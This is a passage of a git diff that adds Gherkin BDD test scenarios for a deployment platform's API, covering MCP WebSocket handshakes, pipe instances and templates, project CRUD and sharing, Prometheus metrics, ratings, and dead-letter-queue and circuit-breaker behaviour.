+  Scenario: List approved templates
+    Given I switch to anonymous user
+    When I list marketplace templates
+    Then the response status should be 200
+
+  Scenario: Get template detail by slug
+    Given I am authenticated as User A
+    And I have created a marketplace template with slug "bdd-public-detail"
+    And I switch to admin user
+    And I submit template "bdd-public-detail" for review
+    And I approve the stored template
+    And I switch to anonymous user
+    When I get marketplace template by slug "bdd-public-detail"
+    Then the response status should be 200
diff --git a/tests/features/mcp.feature b/tests/features/mcp.feature
new file mode 100644
index 00000000..9043f449
--- /dev/null
+++ b/tests/features/mcp.feature
@@ -0,0 +1,125 @@
+Feature: MCP WebSocket Server
+  As an MCP client I want to connect to the Stacker MCP server
+  and interact with it using the JSON-RPC 2.0 protocol
+
+  Background:
+    Given I am authenticated as User A
+
+  # --- Connection & Handshake ---
+
+  Scenario: WebSocket connection succeeds with authentication
+    When I connect to the MCP WebSocket endpoint
+    Then the MCP connection should be open
+
+  Scenario: WebSocket connection requires authentication
+    When I connect to the MCP WebSocket endpoint without auth
+    Then the MCP connection should be rejected
+
+  # --- Initialize ---
+
+  Scenario: Initialize handshake succeeds
+    When I connect to the MCP WebSocket endpoint
+    And I send an MCP initialize request
+    Then the MCP response should have result
+    And the MCP result field "protocolVersion" should be "2024-11-05"
+    And the MCP result field "serverInfo.name" should be "stacker-mcp"
+
+  Scenario: Initialize with missing params returns error
+    When I connect to the MCP WebSocket endpoint
+    And I send an MCP request with method "initialize" and no params
+    Then the MCP response should have error
+    And the MCP error code should be -32602
+
+  # --- Tools List ---
+
+  Scenario: List available tools
+    When I connect to the MCP WebSocket endpoint
+    And I send an MCP initialize request
+    And I send an MCP tools/list request
+    Then the MCP response should have result
+    And the MCP result should contain a non-empty tools array
+
+  # --- Tools Call ---
+
+  Scenario: Call list_projects tool
+    When I connect to the MCP WebSocket endpoint
+    And I send an MCP initialize request
+    And I send an MCP tools/call request for "list_projects" with arguments:
+      """
+      {}
+      """
+    Then the MCP response should have result
+    And the MCP tool response should not be an error
+
+  Scenario: Canonical deployment inspection workflow returns stable MCP payloads
+    Given I have a test deployment with hash "deployment_ai_eval" and status "running"
+    When I connect to the MCP WebSocket endpoint
+    And I send an MCP initialize request
+    And I send an MCP tools/call request for "get_deployment_state" with arguments:
+      """
+      {"deployment_hash":"deployment_ai_eval"}
+      """
+    Then the MCP response should have result
+    And the MCP tool response should not be an error
+    And the MCP tool text response should contain "\"schemaVersion\":\"v1alpha1\""
+    When I send an MCP tools/call request for "explain_topology" with arguments:
+      """
+      {"deployment_hash":"deployment_ai_eval"}
+      """
+    Then the MCP response should have result
+    And the MCP tool response should not be an error
+    And the MCP tool text response should contain "\"runtimeComposePath\": \"/home/trydirect/project/docker-compose.yml\""
+    When I send an MCP tools/call request for "get_deployment_plan" with arguments:
+      """
+      {"deployment_hash":"deployment_ai_eval","operation":"deploy"}
+      """
+    Then the MCP response should have result
+    And the MCP tool response should not be an error
+    And the MCP tool text response should contain "\"fingerprint\":\""
+    When I send an MCP tools/call request for "get_deployment_events" with arguments:
+      """
+      {"deployment_hash":"deployment_ai_eval"}
+      """
+    Then the MCP response should have result
+    And the MCP tool response should not be an error
+    And the MCP tool text response should contain "\"events\":[]"
+
+  Scenario: Call unknown tool returns error
+    When I connect to the MCP WebSocket endpoint
+    And I send an MCP initialize request
+    And I send an MCP tools/call request for "nonexistent_tool" with arguments:
+      """
+      {}
+      """
+    Then the MCP response should have error
+    And the MCP error code should be -32001
+
+  Scenario: tools/call with missing params returns error
+    When I connect to the MCP WebSocket endpoint
+    And I send an MCP initialize request
+    And I send an MCP request with method "tools/call" and no params
+    Then the MCP response should have error
+    And the MCP error code should be -32602
+
+  # --- Unknown Method ---
+
+  Scenario: Unknown JSON-RPC method returns method not found
+    When I connect to the MCP WebSocket endpoint
+    And I send an MCP request with method "unknown/method" and no params
+    Then the MCP response should have error
+    And the MCP error code should be -32601
+
+  # --- Invalid JSON ---
+
+  Scenario: Invalid JSON returns parse error
+    When I connect to the MCP WebSocket endpoint
+    And I send raw MCP text "this is not json"
+    Then the MCP response should have error
+    And the MCP error code should be -32700
+
+  # --- Notification (no id) ---
+
+  Scenario: Notification without id receives no response
+    When I connect to the MCP WebSocket endpoint
+    And I send an MCP notification "notifications/initialized"
+    Then no MCP response should be received within 500ms
diff --git a/tests/features/ml_field_matching.feature b/tests/features/ml_field_matching.feature
new file mode 100644
index 00000000..1cf78129
--- /dev/null
+++ b/tests/features/ml_field_matching.feature
@@ -0,0 +1,62 @@
+Feature: ML Field Matching
+  As a platform operator
+  I want to match source and target fields intelligently
+  So that pipe mappings are generated automatically
+
+  Background:
+    Given I am authenticated as User A
+
+  # ── Exact & Case-Insensitive Matching ─────────────────
+
+  Scenario: Exact field name match returns confidence 1.0
+    When I request field matching with source fields "name,email" and target fields "name,email"
+    Then the response status should be 200
+    And the field match for "name" should map to "name"
+    And the field match confidence for "name" should be at least 0.99
+
+  Scenario: Case-insensitive match returns high confidence
+    When I request field matching with source fields "UserName,Email" and target fields "username,email"
+    Then the response status should be 200
+    And the field match for "username" should map to "UserName"
+    And the field match confidence for "username" should be at least 0.9
+
+  # ── Semantic Alias Matching ───────────────────────────
+
+  Scenario: Semantic alias match for common field variations
+    When I request field matching with source fields "fname,lname,phone" and target fields "first_name,last_name,telephone"
+    Then the response status should be 200
+    And the field match for "first_name" should map to "fname"
+    And the field match for "last_name" should map to "lname"
+
+  # ── N-gram Cosine Similarity ──────────────────────────
+
+  Scenario: Similar field names matched via n-gram similarity
+    When I request field matching with source fields "customer_email,order_date" and target fields "customerEmail,orderDate"
+    Then the response status should be 200
+    And the field match for "customerEmail" should map to "customer_email"
+    And the field match confidence for "customerEmail" should be at least 0.4
+
+  Scenario: Dissimilar fields are not matched
+    When I request field matching with source fields "temperature,humidity" and target fields "user_id,password"
+    Then the response status should be 200
+    And the field match result should have unmatched target "user_id"
+    And the field match result should have unmatched target "password"
+
+  # ── Compound Field Names ──────────────────────────────
+
+  Scenario: Token overlap matches compound field names
+    When I request field matching with source fields "shipping_address_line1,billing_zip_code" and target fields "address_line_1,zip_code"
+    Then the response status should be 200
+    And the field match for "zip_code" should map to "billing_zip_code"
+
+  # ── Edge Cases ────────────────────────────────────────
+
+  Scenario: Empty source fields returns empty mapping
+    When I request field matching with source fields "" and target fields "name,email"
+    Then the response status should be 200
+    And the field match mapping should be empty
+
+  Scenario: Empty target fields returns empty mapping
+    When I request field matching with source fields "name,email" and target fields ""
+    Then the response status should be 200
+    And the field match mapping should be empty
diff --git a/tests/features/pipe_executions.feature b/tests/features/pipe_executions.feature
new file mode 100644
index 00000000..91f48874
--- /dev/null
+++ b/tests/features/pipe_executions.feature
@@ -0,0 +1,18 @@
+Feature: Pipe Executions
+  Users can list execution history for pipe instances,
+  view execution details, and replay past executions.
+
+  Background:
+    Given I am authenticated as User A
+    And I have a test deployment with hash "bdd-deployment-exec"
+
+  Scenario: List executions for a new pipe instance (empty)
+    Given I have created a pipe instance for deployment "bdd-deployment-exec" with source "exec-src" and target container "exec-tgt"
+    When I list executions for the stored pipe instance
+    Then the response status should be 200
+    And the response JSON should have key "list"
+
+  Scenario: Get execution not found
+    Given I am authenticated as User A
+    When I get pipe execution "00000000-0000-0000-0000-000000000000"
+    Then the response status should be 404
diff --git a/tests/features/pipe_instances.feature b/tests/features/pipe_instances.feature
new file mode 100644
index 00000000..714233fe
--- /dev/null
+++ b/tests/features/pipe_instances.feature
@@ -0,0 +1,84 @@
+Feature: Pipe Instances
+  Users can create, list, get, update, and delete pipe instances
+  that are bound to a specific deployment.
+
+  Background:
+    Given I am authenticated as User A
+    And I have a test deployment with hash "bdd-deployment-pipes"
+
+  Scenario: Create a pipe instance with target container
+    When I create a pipe instance for deployment "bdd-deployment-pipes" with source "wordpress" and target container "mailchimp"
+    Then the response status should be 201
+    And the response JSON should have key "item"
+    And the response JSON at "/item/status" should be "draft"
+    And the response JSON at "/item/source_container" should be "wordpress"
+    And I store the response JSON "/item/id" as "instance_id"
+
+  Scenario: Create a pipe instance with target URL
+    When I create a pipe instance for deployment "bdd-deployment-pipes" with source "app" and target url "https://hooks.example.com/webhook"
+    Then the response status should be 201
+    And the response JSON at "/item/target_url" should be "https://hooks.example.com/webhook"
+
+  Scenario: Create a pipe instance linked to a template
+    Given I have created a pipe template "Instance Template"
+    When I create a pipe instance for deployment "bdd-deployment-pipes" with source "app" and target container "svc" linked to the stored template
+    Then the response status should be 201
+
+  Scenario: List instances for a deployment
+    Given I have created a pipe instance for deployment "bdd-deployment-pipes" with source "src1" and target container "tgt1"
+    When I list pipe instances for deployment "bdd-deployment-pipes"
+    Then the response status should be 200
+    And the response JSON should have key "list"
+
+  Scenario: Get a pipe instance by ID
+    Given I have created a pipe instance for deployment "bdd-deployment-pipes" with source "src2" and target container "tgt2"
+    When I get the stored pipe instance
+    Then the response status should be 200
+    And the response JSON at "/item/source_container" should be "src2"
+
+  Scenario: Update pipe instance status to active
+    Given I have created a pipe instance for deployment "bdd-deployment-pipes" with source "src3" and target container "tgt3"
+    When I update the stored pipe instance status to "active"
+    Then the response status should be 200
+    And the response JSON at "/item/status" should be "active"
+
+  Scenario: Update pipe instance status to paused
+    Given I have created a pipe instance for deployment "bdd-deployment-pipes" with source "src4" and target container "tgt4"
+    When I update the stored pipe instance status to "active"
+    And I update the stored pipe instance status to "paused"
+    Then the response status should be 200
+    And the response JSON at "/item/status" should be "paused"
+
+  Scenario: Reject invalid pipe instance status
+    Given I have created a pipe instance for deployment "bdd-deployment-pipes" with source "src5" and target container "tgt5"
+    When I update the stored pipe instance status to "invalid_status"
+    Then the response status should be 400
+
+  Scenario: Delete a pipe instance
+    Given I have created a pipe instance for deployment "bdd-deployment-pipes" with source "del-src" and target container "del-tgt"
+    When I delete the stored pipe instance
+    Then the response status should be 200
+    When I get the stored pipe instance
+    Then the response status should be 404
+
+  Scenario: Reject instance with empty deployment hash
+    When I create a pipe instance with empty deployment hash
+    Then the response status should be 400
+
+  Scenario: Reject instance with empty source container
+    When I create a pipe instance with empty source container
+    Then the response status should be 400
+
+  Scenario: Reject instance with no target
+    When I create a pipe instance with no target
+    Then the response status should be 400
+
+  Scenario: Reject instance for non-existent deployment
+    When I create a pipe instance for deployment "nonexistent-deploy-hash" with source "app" and target container "svc"
+    Then the response status should be 404
+
+  Scenario: User B cannot access User A's pipe instances
+    Given I have created a pipe instance for deployment "bdd-deployment-pipes" with source "private-src" and target container "private-tgt"
+    When I switch to User B
+    And I get the stored pipe instance
+    Then the response status should be 404
diff --git a/tests/features/pipe_templates.feature b/tests/features/pipe_templates.feature
new file mode 100644
index 00000000..852fd756
--- /dev/null
+++ b/tests/features/pipe_templates.feature
@@ -0,0 +1,73 @@
+Feature: Pipe Templates
+  Users can create, list, get, and delete reusable pipe templates.
+  Templates define source-to-target integration patterns.
+
+  Scenario: Create a pipe template with valid data
+    Given I am authenticated as User A
+    When I create a pipe template "WordPress to Mailchimp"
+    Then the response status should be 201
+    And the response JSON should have key "item"
+    And the response JSON at "/item/name" should be "WordPress to Mailchimp"
+    And the response JSON at "/item/source_app_type" should be "wordpress"
+    And the response JSON at "/item/target_app_type" should be "mailchimp"
+    And I store the response JSON "/item/id" as "template_id"
+
+  Scenario: List own pipe templates
+    Given I am authenticated as User A
+    And I have created a pipe template "Template Alpha"
+    And I have created a pipe template "Template Beta"
+    When I list pipe templates
+    Then the response status should be 200
+    And the response JSON should have key "list"
+
+  Scenario: Get a pipe template by ID
+    Given I am authenticated as User A
+    And I have created a pipe template "Get Me Template"
+    When I get the stored pipe template
+    Then the response status should be 200
+    And the response JSON at "/item/name" should be "Get Me Template"
+
+  Scenario: Delete own pipe template
+    Given I am authenticated as User A
+    And I have created a pipe template "Delete Me Template"
+    When I delete the stored pipe template
+    Then the response status should be 200
+    When I get the stored pipe template
+    Then the response status should be 404
+
+  Scenario: User B cannot access User A's private template
+    Given I am authenticated as User A
+    And I have created a pipe template "Private Template"
+    When I switch to User B
+    And I get the stored pipe template
+    Then the response status should be 404
+
+  Scenario: User B can access User A's public template
+    Given I am authenticated as User A
+    And I have created a public pipe template "Public Template"
+    When I switch to User B
+    And I get the stored pipe template
+    Then the response status should be 200
+    And the response JSON at "/item/name" should be "Public Template"
+
+  Scenario: Reject template with empty name
+    Given I am authenticated as User A
+    When I create a pipe template with empty name
+    Then the response status should be 400
+
+  Scenario: Reject template with empty source_app_type
+    Given I am authenticated as User A
+    When I create a pipe template with empty source_app_type
+    Then the response status should be 400
+
+  Scenario: Reject template with empty target_app_type
+    Given I am authenticated as User A
+    When I create a pipe template with empty target_app_type
+    Then the response status should be 400
+
+  Scenario: User B cannot delete User A's template
+    Given I am authenticated as User A
+    And I have created a pipe template "No Delete For You"
+    When I switch to User B
+    And I delete the stored pipe template
+    Then the response status should be 404
diff --git a/tests/features/project_apps.feature b/tests/features/project_apps.feature
new file mode 100644
index 00000000..a5682927
--- /dev/null
+++ b/tests/features/project_apps.feature
@@ -0,0 +1,89 @@
+Feature: Project Apps Management
+  Projects can contain multiple apps (microservices). Each app has
+  configuration, environment variables, ports, and domain settings.
+
+  Scenario: Create an app in a project
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-project"
+    When I create an app "nginx" with image "nginx:latest" in the stored project
+    Then the response status should be 200
+    And the response JSON should have key "item"
+
+  Scenario: List apps in a project
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-list-project"
+    And I have created an app "redis" with image "redis:7" in the stored project
+    And I have created an app "postgres" with image "postgres:16" in the stored project
+    When I list apps in the stored project
+    Then the response status should be 200
+    And the response JSON list should have at least 2 items
+
+  Scenario: Get a specific app by code
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-get-project"
+    And I have created an app "myapp" with image "myapp:latest" in the stored project
+    When I get app "myapp" in the stored project
+    Then the response status should be 200
+
+  Scenario: Get app configuration
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-config-project"
+    And I have created an app "webapp" with image "webapp:1.0" in the stored project
+    When I get app config for "webapp" in the stored project
+    Then the response status should be 200
+    And the response JSON should have key "item"
+
+  Scenario: Update app environment variables
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-env-project"
+    And I have created an app "api" with image "api:latest" in the stored project
+    When I update env vars for app "api" in the stored project with:
+      | key       | value     |
+      | DB_HOST   | localhost |
+      | DB_PORT   | 5432      |
+    Then the response status should be 200
+
+  Scenario: Get app environment variables with redaction
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-env-read"
+    And I have created an app "secure" with image "secure:latest" in the stored project
+    And I have set env var "PUBLIC_URL" to "https://example.com" for app "secure"
+    And I have set env var "DB_PASSWORD" to "secret123" for app "secure"
+    When I get env vars for app "secure" in the stored project
+    Then the response status should be 200
+    And the response JSON at "/item/variables/PUBLIC_URL" should be "https://example.com"
+    And the response JSON at "/item/variables/DB_PASSWORD" should be "[REDACTED]"
+
+  Scenario: Delete an app environment variable
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-env-del"
+    And I have created an app "svc" with image "svc:latest" in the stored project
+    And I have set env var "TEMP_VAR" to "temp" for app "svc"
+    When I delete env var "TEMP_VAR" for app "svc" in the stored project
+    Then the response status should be 200
+
+  Scenario: Update app ports
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-ports"
+    And I have created an app "web" with image "web:latest" in the stored project
+    When I update ports for app "web" in the stored project with host 8080 container 3000
+    Then the response status should be 200
+
+  Scenario: Update app domain
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-domain"
+    And I have created an app "frontend" with image "frontend:latest" in the stored project
+    When I update domain for app "frontend" in the stored project to "app.example.com" with SSL
+    Then the response status should be 200
+
+  Scenario: Reject app creation with empty code
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-validate"
+    When I create an app "" with image "nginx:latest" in the stored project
+    Then the response status should be 400
+
+  Scenario: Reject app creation with empty image
+    Given I am authenticated as User A
+    And I have created a project with stack code "apps-validate2"
+    When I create an app "myapp" with image "" in the stored project
+    Then the response status should be 400
diff --git a/tests/features/project_crud.feature b/tests/features/project_crud.feature
new file mode 100644
index 00000000..334be0a5
--- /dev/null
+++ b/tests/features/project_crud.feature
@@ -0,0 +1,87 @@
+Feature: Project CRUD Operations
+  Users can create, read, update, list, and delete projects.
+  Projects are owned by the authenticated user and isolated between users.
+
+  Scenario: Create a project with valid data
+    Given I am authenticated as User A
+    When I create a project with stack code "my-test-app"
+    Then the response status should be 200
+    And the response JSON should have key "item"
+    And the response JSON at "/item/name" should be "my-test-app"
+    And I store the response JSON "/item/id" as "project_id"
+
+  Scenario: Create a project with minimal data
+    Given I am authenticated as User A
+    When I create a project with stack code "minimal-app"
+    Then the response status should be 200
+    And the response JSON at "/item/name" should be "minimal-app"
+
+  Scenario: Accept project with short stack code (validation not enforced)
+    Given I am authenticated as User A
+    When I create a project with stack code "ab"
+    Then the response status should be 200
+
+  Scenario: Accept project with reserved stack code (validation not enforced)
+    Given I am authenticated as User A
+    When I create a project with stack code "root"
+    Then the response status should be 200
+
+  Scenario: Get own project by ID
+    Given I am authenticated as User A
+    And I have created a project with stack code "get-test-project"
+    When I send a GET request to the stored "project_id" at "/project/{id}"
+    Then the response status should be 200
+    And the response JSON at "/item/name" should be "get-test-project"
+
+  Scenario: List own projects
+    Given I am authenticated as User A
+    And I have created a project with stack code "list-project-one"
+    And I have created a project with stack code "list-project-two"
+    When I send a GET request to "/project"
+    Then the response status should be 200
+    And the response JSON should have key "list"
+    And the response JSON list should have at least 2 items
+
+  Scenario: Update project metadata
+    Given I am authenticated as User A
+    And I have created a project with stack code "update-me"
+    When I update the stored project with stack code "updated-code"
+    Then the response status should be 200
+    And the response JSON at "/item/name" should be "updated-code"
+
+  Scenario: Delete own project
+    Given I am authenticated as User A
+    And I have created a project with stack code "delete-me"
+    When I delete the stored project
+    Then the response status should be 200
+    When I send a GET request to the stored "project_id" at "/project/{id}"
+    Then the response status should be 404
+
+  Scenario: User B cannot access User A's project
+    Given I am authenticated as User A
+    And I have created a project with stack code "private-project"
+    When I switch to User B
+    And I send a GET request to the stored "project_id" at "/project/{id}"
+    Then the response status should be 404
+
+  Scenario: User B cannot update User A's project
+    Given I am authenticated as User A
+    And I have created a project with stack code "protected-project"
+    When I switch to User B
+    And I update the stored project with stack code "hijacked"
+    Then the response status should be 404
+
+  Scenario: User B cannot delete User A's project
+    Given I am authenticated as User A
+    And I have created a project with stack code "no-delete"
+    When I switch to User B
+    And I delete the stored project
+    Then the response status should be 404
+
+  Scenario: Each user sees only their own projects
+    Given I am authenticated as User A
+    And I have created a project with stack code "user-a-project"
+    When I switch to User B
+    And I send a GET request to "/project"
+    Then the response status should be 200
+    And the response JSON list should not contain project "user-a-project"
diff --git a/tests/features/project_team.feature b/tests/features/project_team.feature
new file mode 100644
index 00000000..425701dc
--- /dev/null
+++ b/tests/features/project_team.feature
@@ -0,0 +1,39 @@
+Feature: Project Team & Sharing
+  Project owners can share projects with other users as viewers.
+  Shared projects appear in the member's shared project list.
+
+  Scenario: Share project with a member as viewer
+    Given I am authenticated as User A
+    And I have created a project with stack code "team-project"
+    When I add member "other_user_id" with role "viewer" to the stored project
+    Then the response status should be 200
+
+  Scenario: List project members
+    Given I am authenticated as User A
+    And I have created a project with stack code "team-list"
+    And I add member "other_user_id" with role "viewer" to the stored project
+    When I list members of the stored project
+    Then the response status should be 200
+    And the response JSON list should have at least 1 items
+
+  Scenario: Remove a project member
+    Given I am authenticated as User A
+    And I have created a project with stack code "team-remove"
+    And I add member "other_user_id" with role "viewer" to the stored project
+    When I remove member "other_user_id" from the stored project
+    Then the response status should be 204
+
+  Scenario: Reject unsupported member role
+    Given I am authenticated as User A
+    And I have created a project with stack code "team-role-test"
+    When I add member "other_user_id" with role "admin" to the stored project
+    Then the response status should be 400
+
+  Scenario: Shared project appears in member's shared list
+    Given I am authenticated as User A
+    And I have created a project with stack code "shared-visible"
+    And I add member "other_user_id" with role "viewer" to the stored project
+    When I switch to User B
+    And I send a GET request to "/project/shared"
+    Then the response status should be 200
+    And the response JSON should have key "list"
diff --git a/tests/features/prometheus.feature b/tests/features/prometheus.feature
new file mode 100644
index 00000000..3d36faf5
--- /dev/null
+++ b/tests/features/prometheus.feature
@@ -0,0 +1,60 @@
+Feature: Prometheus Metrics
+  As a platform operator
+  I want Prometheus-compatible metrics exposed at /metrics
+  So that I can monitor pipe executions, DAG runs, and system health
+
+  # ── Metrics Endpoint ────────────────────────────────────────
+
+  Scenario: Metrics endpoint returns Prometheus text format
+    When I send a GET request to "/metrics"
+    Then the response status should be 200
+    And the response content-type should contain "text/plain"
+    And the response body should contain "# HELP"
+    And the response body should contain "# TYPE"
+
+  Scenario: Metrics include HTTP request counters
+    When I send a GET request to "/health_check"
+    And I send a GET request to "/metrics"
+    Then the response status should be 200
+    And the response body should contain "http_requests_total"
+
+  Scenario: Metrics include HTTP request duration histogram
+    When I send a GET request to "/metrics"
+    Then the response status should be 200
+    And the response body should contain "http_request_duration_seconds"
+
+  # ── Pipe Execution Metrics ──────────────────────────────────
+
+  Scenario: Metrics track pipe execution counts
+    When I send a GET request to "/metrics"
+    Then the response status should be 200
+    And the response body should contain "pipe_executions_total"
+
+  Scenario: Metrics track pipe execution duration
+    When I send a GET request to "/metrics"
+    Then the response status should be 200
+    And the response body should contain "pipe_execution_duration_seconds"
+
+  # ── DAG Execution Metrics ───────────────────────────────────
+
+  Scenario: Metrics track DAG execution counts
+    When I send a GET request to "/metrics"
+    Then the response status should be 200
+    And the response body should contain "dag_executions_total"
+
+  Scenario: Metrics track DAG step counts
+    When I send a GET request to "/metrics"
+    Then the response status should be 200
+    And the response body should contain "dag_steps_total"
+
+  # ── System Gauges ───────────────────────────────────────────
+
+  Scenario: Metrics include active pipe instance gauge
+    When I send a GET request to "/metrics"
+    Then the response status should be 200
+    And the response body should contain "active_pipe_instances"
+
+  Scenario: Metrics include active agent gauge
+    When I send a GET request to "/metrics"
+    Then the response status should be 200
+    And the response body should contain "active_agents"
diff --git a/tests/features/rating.feature b/tests/features/rating.feature
new file mode 100644
index 00000000..1ac9650f
--- /dev/null
+++ b/tests/features/rating.feature
@@ -0,0 +1,36 @@
+Feature: Rating System
+  As a user I want to rate and review products
+  As an admin I want to manage ratings
+
+  Background:
+    Given I am authenticated as User A
+
+  Scenario: Create a rating
+    When I create a rating for object 1 category "Application" with rate 8 and comment "Great app"
+    Then the response status should be one of "200, 201"
+    And the response JSON should have key "item"
+
+  Scenario: Get own rating
+    Given I have created a rating for object 2 category "Application" with rate 7
+    When I get the stored rating
+    Then the response status should be 200
+
+  Scenario: Update own rating
+    Given I have created a rating for object 3 category "Cloud" with rate 5
+    When I update the stored rating with rate 9 and comment "Updated review"
+    Then the response status should be 200
+
+  Scenario: Soft-delete own rating
+    Given I have created a rating for object 4 category "Price" with rate 6
+    When I delete the stored rating
+    Then the response status should be 200
+
+  Scenario: Cannot rate same object and category twice
+    Given I have created a rating for object 5 category "Design" with rate 8
+    When I create a rating for object 5 category "Design" with rate 9 and comment "Duplicate"
+    Then the response status should be one of "400, 409, 422"
+
+  Scenario: List visible ratings as anonymous
+    Given I switch to anonymous user
+    When I list ratings
+    Then the response status should be 200
diff --git a/tests/features/resilience.feature b/tests/features/resilience.feature
new file mode 100644
index 00000000..700762f4
--- /dev/null
+++ b/tests/features/resilience.feature
@@ -0,0 +1,120 @@
+Feature: Resilience — Circuit Breaker, Dead Letter Queue, and Retry
+  As a user I want failed pipe executions to be captured in a DLQ
+  and circuit breakers to protect against cascading failures
+
+  Background:
+    Given I am authenticated as User A
+    And I have a resilience pipe template named "bdd-resilience-tpl"
+    And I have a resilience pipe instance for that template
+
+  # --- Dead Letter Queue ---
+
+  Scenario: DLQ is initially empty for a pipe instance
+    When I list DLQ entries for the pipe instance
+    Then the response status should be 200
+    And the response JSON at "/list" should be an empty array
+
+  Scenario: Create a DLQ entry for a failed execution
+    Given I have a failed pipe execution for the instance
+    When I push the failed execution to the DLQ with:
+      """
+      {"max_retries": 3, "error": "Connection refused"}
+      """
+    Then the response status should be 201
+    And the response JSON at "/item/status" should be "pending"
+    And the response JSON at "/item/retry_count" should be "0"
+
+  Scenario: List DLQ entries for a pipe instance
+    Given I have a DLQ entry for the pipe instance
+    When I list DLQ entries for the pipe instance
+    Then the response status should be 200
+    And the response JSON at "/list" should not be empty
+
+  Scenario: Get a single DLQ entry
+    Given I have a DLQ entry for the pipe instance
+    When I get the stored DLQ entry
+    Then the response status should be 200
+    And the response JSON at "/item" should not be empty
+    And the response JSON at "/item/retry_count" should be "0"
+
+  Scenario: Retry a DLQ entry increments retry count
+    Given I have a DLQ entry for the pipe instance
+    When I retry the stored DLQ entry
+    Then the response status should be 200
+    And the response JSON at "/item/retry_count" should be "1"
+    And the response JSON at "/item/status" should be "retrying"
+
+  Scenario: Discard a DLQ entry
+    Given I have a DLQ entry for the pipe instance
+    When I discard the stored DLQ entry
+    Then the response status should be one of "200, 204"
+
+  Scenario: Discarded DLQ entry no longer appears in list
+    Given I have a DLQ entry for the pipe instance
+    And I discard the stored DLQ entry
+    When I list DLQ entries for the pipe instance
+    Then the response status should be 200
+    And the response JSON at "/list" should be an empty array
+
+  Scenario: DLQ entry moves to exhausted after max retries
+    Given I have a DLQ entry with max_retries 1 for the pipe instance
+    When I retry the stored DLQ entry
+    Then the response status should be 200
+    And the response JSON at "/item/status" should be "exhausted"
+
+  # --- Circuit Breaker ---
+
+  Scenario: Circuit breaker defaults to closed state
+    When I get the circuit breaker status for the pipe instance
+    Then the response status should be 200
+    And the response JSON at "/item/state" should be "closed"
+    And the response JSON at "/item/failure_count" should be "0"
+
+  Scenario: Update circuit breaker config
+    When I update the circuit breaker config for the pipe instance with:
+      """
+      {"failure_threshold": 5, "recovery_timeout_seconds": 30, "half_open_max_requests": 2}
+      """
+    Then the response status should be 200
+    And the response JSON at "/item/failure_threshold" should be "5"
+
+  Scenario: Record a failure increments failure count
+    Given the circuit breaker is configured with failure_threshold 3 for the pipe instance
+    When I record a circuit breaker failure for the pipe instance
+    Then the response status should be 200
+    And the response JSON at "/item/failure_count" should be "1"
+    And the response JSON at "/item/state" should be "closed"
+
+  Scenario: Circuit breaker opens after threshold failures
+    Given the circuit breaker is configured with failure_threshold 2 for the pipe instance
+    When I record a circuit breaker failure for the pipe instance
+    And I record a circuit breaker failure for the pipe instance
+    Then the response status should be 200
+    And the response JSON at "/item/state" should be "open"
+
+  Scenario: Reset circuit breaker returns to closed
+    Given the circuit breaker is in open state for the pipe instance
+    When I reset the circuit breaker for the pipe instance
+    Then the response status should be 200
+    And the response JSON at "/item/state" should be "closed"
+    And the response JSON at "/item/failure_count" should be "0"
+
+  Scenario: Record a success resets failure count in closed state
+    Given the circuit breaker is configured with failure_threshold 5 for the pipe instance
+    And I have recorded 2 circuit breaker failures for the pipe instance
+    When I record a circuit breaker success for the pipe instance
+    Then the response status should be 200
+    And the response JSON at "/item/failure_count" should be "0"
+
+  # --- Cross-user isolation ---
+
+  Scenario: Cross-user cannot access another user's DLQ
+    Given I have a DLQ entry for the pipe instance
+    When I switch to User B
+    And I list DLQ entries for the pipe instance
+    Then the response status should be one of "403, 404"
+
+  Scenario: Cross-user cannot access another user's circuit breaker
+    When I switch to User B
+    And I get the circuit breaker status for the pipe instance
+    Then the response status should be one of "403, 404"
diff --git a/tests/features/server_crud.feature b/tests/features/server_crud.feature
new file mode 100644
index 00000000..1cafeddf
--- /dev/null
+++ b/tests/features/server_crud.feature
@@ -0,0 +1,21 @@
+Feature: Server CRUD
+  As a user managing servers
+  I want to create, list, update, and delete server records
+  So that I can manage my infrastructure inventory
+
+  Background:
+    Given I am authenticated as User A
+
+  Scenario: List servers
+    When I list servers
+    Then the response status should be 200
+
+  Scenario: Get servers for a project
+    Given I have a test deployment with hash "bdd-srv-proj"
+    When I get servers for the stored project
+    Then the response status should be 200
+
+  Scenario: Delete preview for a server
+    Given I have a test server
+    When I get delete preview for the stored server
+    Then the response status should be 200
diff --git a/tests/features/streaming.feature b/tests/features/streaming.feature
new file mode 100644
index 00000000..4220d225
--- /dev/null
+++ b/tests/features/streaming.feature
@@ -0,0 +1,141 @@
+Feature: Streaming Protocols
+  As a platform operator
+  I want WebSocket and streaming step types in my DAG pipelines
+  So that I can build real-time data integration flows
+
+  Background:
+    Given I am authenticated as User A
+
+  # ── WebSocket DAG Step Types ───────────────────────────
+
+  Scenario: Create a ws_source DAG step
+    Given I have a DAG pipe template named "bdd-stream-ws-src"
+    When I add a DAG step to the template with:
+      """
+      {"name": "WS Ingest", "step_type": "ws_source", "config": {"url": "ws://localhost:9090/feed", "reconnect_interval_ms": 5000}}
+      """
+    Then the response status should be 201
+    And the response body should contain "ws_source"
+
+  Scenario: Create a ws_target DAG step
+    Given I have a DAG pipe template named "bdd-stream-ws-tgt"
+    When I add a DAG step to the template with:
+      """
+      {"name": "WS Publish", "step_type": "ws_target", "config": {"url": "ws://localhost:9091/sink", "message_format": "json"}}
+      """
+    Then the response status should be 201
+    And the response body should contain "ws_target"
+
+  Scenario: Create an http_stream_source DAG step (SSE)
+    Given I have a DAG pipe template named "bdd-stream-sse"
+    When I add a DAG step to the template with:
+      """
+      {"name": "SSE Feed", "step_type": "http_stream_source", "config": {"url": "http://localhost:8080/events", "event_filter": "data_update"}}
+      """
+    Then the response status should be 201
+    And the response body should contain "http_stream_source"
+
+  Scenario: Reject invalid streaming step type
+    Given I have a DAG pipe template named "bdd-stream-invalid"
+    When I add a DAG step to the template with:
+      """
+      {"name": "Bad Step", "step_type": "invalid_stream", "config": {"url": "ws://localhost:9090/feed"}}
+      """
+    Then the response status should be 400
+
+  # ── DAG with Streaming Steps ───────────────────────────
+
+  Scenario: Build a DAG with ws_source → transform → target
